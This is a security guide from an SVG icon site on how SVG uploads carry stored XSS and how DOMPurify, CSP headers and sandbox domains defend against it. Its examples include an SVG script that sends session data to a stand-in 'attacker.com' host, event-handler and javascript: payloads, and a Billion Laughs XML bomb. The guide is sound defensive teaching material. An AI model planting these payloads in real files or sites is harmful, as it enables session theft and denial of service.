Security Engineering

SVG Security & XSS Sanitization Guide in 2026

Why SVGs are an XML attack vector, how attackers exploit stored XSS via vector uploads, and the production DOMPurify & CSP pipelines needed to secure them.

TL;DR — Securing SVG in 2026

Never trust user-supplied SVG strings: SVGs are full XML documents capable of executing arbitrary JavaScript. Always sanitize incoming markup using DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true } }) on both client and server. For user profile avatars and file attachments, serve SVGs from a dedicated isolated sandbox domain (e.g. usercontent.domain.com) with Content-Security-Policy: script-src 'none'.

Why SVGs are High-Risk Attack Vectors

Many developers treat SVG files as simple images like PNGs or JPEGs. In reality, the W3C SVG specification is an XML-based markup format with a full Document Object Model (DOM), CSS styling capabilities, and embedded JavaScript runtime support.

When a web application allows users to upload custom icons, company logos, or avatars as SVGs, rendering those SVGs inline without rigorous sanitization gives the attacker full Cross-Site Scripting (XSS) access to the victim's session cookies, authentication tokens, and private API endpoints.

The 5 Major SVG Attack Vectors

1. Embedded <script> Tags

The most straightforward vector: embedding standard script payloads inside the XML hierarchy:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <circle cx="50" cy="50" r="40" fill="red"/>
  <script type="text/javascript">
    fetch('/api/user/session').then(r => r.json()).then(data => {
      new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(JSON.stringify(data));
    });
  </script>
</svg>

2. Inline Event Handlers (onload, onerror)

Even if an application's naive regex strips <script> tags, inline event handlers on standard vector elements execute seamlessly upon rendering:

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="x" onerror="alert(document.domain)" />
  <svg onload="alert(document.cookie)"></svg>
</svg>

3. <foreignObject> HTML Embeds

The <foreignObject> element allows arbitrary XHTML markup (forms, iframes, and input fields) to be nested inside an SVG canvas, opening doors to credential phishing and clickjacking overlays within a seemingly innocent icon.

4. JavaScript Pseudo-Protocols in href / xlink:href

Clickable links embedded inside SVG vectors can trigger execution via the javascript: protocol:

<svg xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:fetch('/api/admin/delete')">
    <rect width="100" height="100" fill="blue"/>
  </a>
</svg>

5. XML Entity Expansion (Billion Laughs / XML Bomb)

Unsanitized XML parsers on backend servers (Node.js, Python, Ruby, PHP) can be crashed by recursive entity declarations, resulting in Denial of Service (DoS):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<svg><text>&lol2;</text></svg>

The Production Defense Architecture

1. DOMPurify SVG Profile Configuration

Never write custom regex to parse SVGs. Use the battle-tested DOMPurify library with strict SVG profiles:

import DOMPurify from 'dompurify';

export function sanitizeSvgIcon(dirtySvgMarkup: string): string {
  return DOMPurify.sanitize(dirtySvgMarkup, {
    USE_PROFILES: { svg: true, svgFilters: true },
    FORBID_TAGS: ['script', 'foreignObject', 'iframe'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
    RETURN_TRUSTED_TYPE: false
  });
}

2. Content Security Policy (CSP) Headers for Static SVGs

When serving user-uploaded SVGs directly from Amazon S3, Google Cloud Storage, or your web server, enforce strict response headers:

# HTTP Response Headers for /uploads/*.svg
Content-Type: image/svg+xml
Content-Security-Policy: default-src 'none'; script-src 'none'; style-src 'self' 'unsafe-inline';
X-Content-Type-Options: nosniff
Cross-Origin-Resource-Policy: cross-origin

The script-src 'none' directive guarantees that even if a malicious script slips past a validator, modern browsers will refuse to execute it if opened in a new tab.

3. Isolate on a Sandbox Subdomain

Host all user-uploaded SVG avatars on an unauthenticated cookie-less domain (e.g. https://user-assets-example.com). Even in the event of an XSS execution, the script runs in an isolated origin with zero access to your primary app's authentication tokens.

Safe Rendering in React / Next.js / Vue

If you must render dynamic SVG strings into a React DOM, wrap the sanitization in a memoized component:

import React, { useMemo } from 'react';
import DOMPurify from 'isomorphic-dompurify';

interface SafeIconProps {
  svgMarkup: string;
  className?: string;
}

export const SafeIcon: React.FC<SafeIconProps> = ({ svgMarkup, className }) => {
  const cleanMarkup = useMemo(() => {
    return DOMPurify.sanitize(svgMarkup, {
      USE_PROFILES: { svg: true },
      FORBID_TAGS: ['script', 'foreignObject']
    });
  }, [svgMarkup]);

  return (
    <span 
      className={className} 
      dangerouslySetInnerHTML={{ __html: cleanMarkup }} 
      aria-hidden="true" 
    />
  );
};

Frequently Asked Questions

Are the icons indexed on IconStash safe to use?

Yes. Every single icon in IconStash's 134,701 catalog is sourced from vetted, open-source repositories and sanitized through automated build-time linters that strip all scripts, tracking beacons, and invalid XML entities.

Does SVGO automatically sanitize SVG files?

No. SVGO is an optimization and minification tool, not a security sanitizer. While certain SVGO plugins remove <script> tags, it does not reliably catch nested polymorphic XSS vectors. Always use DOMPurify for security sanitization.

Looking for Clean, Pre-Sanitized SVG Icons?

Search 134,000+ open-source SVG icons across 28 curated libraries on IconStash. Fast, clean, and safe for production apps.

Search All 134K+ Icons →